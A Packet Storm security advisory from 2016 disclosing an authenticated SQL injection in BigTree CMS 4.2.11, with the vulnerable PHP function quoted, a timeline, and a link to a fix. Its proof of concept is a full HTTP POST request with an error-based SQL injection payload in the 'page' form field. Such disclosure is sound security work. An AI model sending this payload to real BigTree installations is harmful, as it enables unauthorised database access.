exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

BigTree CMS 4.2.11 SQL Injection

BigTree CMS 4.2.11 SQL Injection
Posted Jun 28, 2016
Authored by Mehmet Ince

BigTree CMS version 4.2.11 and below suffer from a remote authenticated SQL injection vulnerability.

tags | exploit, remote, sql injection
SHA-256 | 968aa637a70ad16367def25fb2cfce1ce28e8f27120df89d1a374a92fc0e4e5e

BigTree CMS 4.2.11 SQL Injection

Change Mirror Download
1. ADVISORY INFORMATION
========================================
Title: BigTree CMS <= 4.2.11 Authenticated SQL Injection Vulnerability
Application: BigTree CMS
Remotely Exploitable: Yes
Versions Affected: < 4.2.11
Vendor URL: https://www.bigtreecms.org
Bugs: SQL Injection
Author: Mehmet Ince
Date of found: 27 Jun 2016


2. CREDIT
========================================
Those vulnerabilities was identified during external penetration test
by Mehmet INCE from PRODAFT / INVICTUS.

Netsparker was used for initial detection.

3. DETAILS
========================================

Following codes shows $page variable is used at inside SQL query without proper escaping nor PDO.

File : /core/inc/bigtree/admin.php

Lines 6866 - 6879

function submitPageChange($page,$changes) {
if ($page[0] == "p") {
// It's still pending...
$type = "NEW";
$pending = true;
$existing_page = array();
$existing_pending_change = array("id" => substr($page,1));
} else {
// It's an existing page
$type = "EDIT";
$pending = false;
$existing_page = BigTreeCMS::getPage($page);
$existing_pending_change = sqlfetch(sqlquery("SELECT id FROM bigtree_pending_changes WHERE `table` = 'bigtree_pages' AND item_id = '$page'"));
}
...
}


Basically submitPageChange function is vulnerable against SQL Injection vulnerability. This function was used twice during development. Following list shows location of these function callers.

/core/admin/modules/pages/front-end-update.php
/core/admin/modules/pages/update.php


PoC:

Following HTTP POST request was used in order to exploit the SQL Injection flaw.

POST /site/index.php/admin/pages/update/ HTTP/1.1
Cache-Control: no-cache
Referer: http://10.0.0.154/site/index.php/admin/pages/edit/2/
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36
Accept-Language: en-us,en;q=0.5
X-Scanner: Netsparker
Cookie: PHPSESSID=amsscser3eg7fkljpjjt78ki17; hide_bigtree_bar=; bigtree_admin[email]=mehmet%40mehmetince.net; bigtree_admin[login]=%5B%22session-5770eca81c6d86.91986415%22%2C%22chain-5770ec71e2d7d3.28696204%22%5D; PHPSESSID=lsrbe949jc3na5j1sof19a3s53
Host: 10.0.0.154
Accept-Encoding: gzip, deflate
Content-Length: 2248
Content-Type: multipart/form-data; boundary=b788b047b8e345b792cdc1f81fef2106

--b788b047b8e345b792cdc1f81fef2106
Content-Disposition: form-data; name="MAX_FILE_SIZE"

2097152
--b788b047b8e345b792cdc1f81fef2106
Content-Disposition: form-data; name="_bigtree_post_check"

success
--b788b047b8e345b792cdc1f81fef2106
Content-Disposition: form-data; name="page"

-1' and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'
--b788b047b8e345b792cdc1f81fef2106
Content-Disposition: form-data; name="nav_title"

The Trees
--b788b047b8e345b792cdc1f81fef2106
Content-Disposition: form-data; name="title"

The Trees
--b788b047b8e345b792cdc1f81fef2106
Content-Disposition: form-data; name="publish_at"


--b788b047b8e345b792cdc1f81fef2106
Content-Disposition: form-data; name="expire_at"


--b788b047b8e345b792cdc1f81fef2106
Content-Disposition: form-data; name="in_nav"


--b788b047b8e345b792cdc1f81fef2106
Content-Disposition: form-data; name="redirect_lower"


--b788b047b8e345b792cdc1f81fef2106
Content-Disposition: form-data; name="trunk"


--b788b047b8e345b792cdc1f81fef2106
Content-Disposition: form-data; name="external"


--b788b047b8e345b792cdc1f81fef2106
Content-Disposition: form-data; name="new_window"

Yes
--b788b047b8e345b792cdc1f81fef2106
Content-Disposition: form-data; name="resources[page_header]"

The Trees
--b788b047b8e345b792cdc1f81fef2106
Content-Disposition: form-data; name="tag_entry"


--b788b047b8e345b792cdc1f81fef2106
Content-Disposition: form-data; name="route"

trees
--b788b047b8e345b792cdc1f81fef2106
Content-Disposition: form-data; name="seo_invisible"


--b788b047b8e345b792cdc1f81fef2106
Content-Disposition: form-data; name="ptype"

Save
--b788b047b8e345b792cdc1f81fef2106
Content-Disposition: form-data; name="max_age"

3
--b788b047b8e345b792cdc1f81fef2106
Content-Disposition: form-data; name="template"


--b788b047b8e345b792cdc1f81fef2106
Content-Disposition: form-data; name="meta_keywords"


--b788b047b8e345b792cdc1f81fef2106
Content-Disposition: form-data; name="meta_description"


--b788b047b8e345b792cdc1f81fef2106--


4. TIMELINE
========================================
27 Jun 2016 - Netsparker identified SQL Injection.
27 Jun 2016 - Source code review and finding root cause of SQLi.
27 Jun 2016 - Issue resolved by PRODAFT / INVICTUS team.
27 Jun 2016 - Pull Request has been sended.

https://github.com/bigtreecms/BigTree-CMS/pull/256
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close